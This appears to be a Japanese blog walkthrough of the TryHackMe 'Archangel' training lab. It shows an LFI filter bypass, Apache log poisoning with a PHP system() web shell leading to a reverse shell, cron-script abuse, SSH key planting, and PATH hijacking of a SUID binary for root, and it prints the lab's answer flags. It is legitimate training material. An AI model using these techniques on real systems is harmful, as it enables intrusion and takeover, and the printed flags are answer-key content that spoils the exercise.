0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Archangel:Walkthrough

Posted at

概要

TryHackMe「Archangel」のWalkthroughです。

Task2

Q1.Find a different hostname

ポートスキャンを実行します。

$ nmap -Pn -sC -sV -A -T4 -p- 10.10.238.190 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 9f:1d:2c:9d:6c:a4:0e:46:40:50:6f:ed:cf:1c:f3:8c (RSA)
|   256 63:73:27:c7:61:04:25:6a:08:70:7a:36:b2:f2:84:0d (ECDSA)
|_  256 b6:4e:d2:9c:37:85:d6:76:53:e8:c4:e0:48:1c:ae:6c (ED25519)
80/tcp open  http    Apache/2.4.29 (Ubuntu)
|_http-title: Wavefire
|_http-server-header: Apache/2.4.29 (Ubuntu)

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.6p1
80 http Apache/2.4.29

Webページにアクセスしメールからmafialive.thmのホスト名を発見しました。

hostname.jpg

A.mafialive.thm

Q2.Find flag 1

ホスト名が分かったので/etc/hostsファイルに追記します。

10.10.238.190   mafialive.thm

ドメイン名で再度アクセスするとフラグが表示されました。

q2 flag.jpg

A.thm{f0und_th3_r1ght_h0st_n4m3}

Q3.Look for a page under development

Hint.FUZZ!!

ディレクトリの列挙を行います。

$ dirsearch -u http://mafialive.thm/
[05:53:03] 200 -   34B  - /robots.txt
[05:53:15] 200 -  221B  - /test.php

/robots.txtからも/test.phpの情報を得られました。

/robots.txt
User-agent: *
Disallow: /test.php

A.test.php

Q4.Find flag 2

Hint.Best way to exploit lfi is to look at the code

/test.phpにアクセスします。

test page.jpg

ボタンをクリックするとクエリパラメータでファイルを読み込んでいるので、LFIの脆弱性の可能性があります。

/test.php?view=/var/www/html/development_testing/mrrobot.php

LFIのパラメータを入れましたが、失敗しました。
フィルタリングされている可能性があります。

LFI error.jpg

ヒントから/var/www/html/development_testing/test.phpのソースコードを見る必要があります。
Hacktricksphp://filterbase64を利用してフィルターをバイパスする手法を見つけました。

パラメータに入れると/var/www/html/development_testing/test.phpを、base64でエンコードしたものを得られました。

/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php

コードの中にフラグを発見しました。

/var/www/html/development_testing/test.php
<!DOCTYPE HTML>
<html>

<head>
    <title>INCLUDE</title>
    <h1>Test Page. Not to be Deployed</h1>
 
    </button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
        <?php

            //FLAG: thm{explo1t1ng_lf1}

            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
            if(isset($_GET["view"])){
            if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
                include $_GET['view'];
            }else{

                echo 'Sorry, Thats not allowed';
            }
        }
        ?>
    </div>
</body>

</html> 

A.thm{explo1t1ng_lf1}

Q5.Get a shell and find the user flag

Hint.Poison!!!

コードを見るとLFIの条件がわかりました。

  • LFIの条件

  • ../..がパラメータに使われていないこと

  • /var/www/html/development_testing/がパラメータに使用されていること

再度Hacktricksを見ると..//..//..//etc/passwdのような場合でもLFIが出来るようです。

パラメータをセットし/etc/passwdを参照できました。

/test.php?view=/var/www/html/development_testing/..//..//..//..//..//etc/passwd

lfi success.jpg

archangelアカウントを発見しました。
.ssh/は参照できなかったので、リバースシェルを試みます。

/var/log/apache2/access.logを参照できました。

var log.jpg

User-Agent<?php system($_GET['c']); ?>を設定し、クエリパラメータでRCEに成功しました。

rce success.jpg

リバースシェルのペイロードを作成します。

ペイロードをURLエンコードしリクエストを送信します。

rev shell request.jpg

www-dataのシェルを取得できました。

 nc -lvnp 1234                                            
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.17.103] 37252
www-data@ubuntu:/var/www/html/development_testing$ whoami
whoami
www-data

/home/archangel/user.txtからフラグを入手できます。

/home/archangel/user.txt
thm{lf1_t0_rc3_1s_tr1cky}

A.thm{lf1_t0_rc3_1s_tr1cky}

Task3

Q1.Get User 2 flag

archangelアカウントへの昇格を目指します。
/etc/crontabでクロンジョブを確認すると/opt/helloworld.shを発見しました。

*/1 *   * * *   archangel /opt/helloworld.sh

/opt/helloworld.shは編集権限があることを確認できました。

$ ls -la
ls -la
total 16
drwxrwxrwx  3 root      root      4096 Nov 20  2020 .
drwxr-xr-x 22 root      root      4096 Nov 16  2020 ..
drwxrwx---  2 archangel archangel 4096 Nov 20  2020 backupfiles
-rwxrwxrwx  1 archangel archangel   66 Nov 20  2020 helloworld.sh

/opt/helloworld.shの処理内容を確認するとhello worldという文字を/opt/backupfiles/helloworld.txtに出力しています。

/opt/helloworld.sh
#!/bin/bash
echo "hello world" >> /opt/backupfiles/helloworld.txt

/home/archangel/secretに権限を追加する処理を/opt/helloworld.shに追記します。

$ echo "chmod 777 /home/archangel/secret" >> /opt/helloworld.sh

/home/archangel/secret/user2.txtからフラグを入手できます。

$ cat /home/archangel/secret/user2.txt
cat /home/archangel/secret/user2.txt
thm{h0r1zont4l_pr1v1l3g3_2sc4ll4t10n_us1ng_cr0n}

A.thm{h0r1zont4l_pr1v1l3g3_2sc4ll4t10n_us1ng_cr0n}

Q2.Root the machine and find the root flag

Hint.certain paths are dangerous

SSH接続するために/home/archangel/.sshを作成し、KaliのSSH公開鍵を/home/archangel/.ssh/authorized_keysに登録します。

$ echo "mkdir /home/archangel/.ssh" >> helloworld.sh
$ echo <kali pub key>" > /home/archangel/.ssh/authorized_keys
$ echo "chmod 700 /home/archangel/.ssh" >> helloworld.sh

archangelでSSH接続に成功しました。

$ ssh archangel@mafialive.thm
archangel@ubuntu:~$

SUIDを検索すると/home/archangel/secret/backupがヒットしました。

$ find / -user root -perm -4000 2>/dev/null
/home/archangel/secret/backup

/home/archangel/secret/backupの処理を確認すると/home/user/archangel/myfiles/配下を/opt/backupfilesにコピーしていると分かりました。

$ strings /home/archangel/secret/backup
cp /home/user/archangel/myfiles/* /opt/backupfiles

cpコマンドを偽造します。

$ cd /tmp
$ echo "/bin/bash" > cp
$ chmod 777 cp
$ export PATH=/tmp:$PATH

/home/archangel/secret/backupを実行しroot権限を取得できました。

$ /home/archangel/secret/backup 
root@ubuntu:/tmp# whoami
root

rootフラグファイルを検索します。

# find / -name *root.txt* 2>/dev/null
/root/root.txt

/root/root.txtからフラグを入手できます。

/root/root.txt
thm{p4th_v4r1abl3_expl01tat1ion_f0r_v3rt1c4l_pr1v1l3g3_3sc4ll4t10n}

A.thm{p4th_v4r1abl3_expl01tat1ion_f0r_v3rt1c4l_pr1v1l3g3_3sc4ll4t10n}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?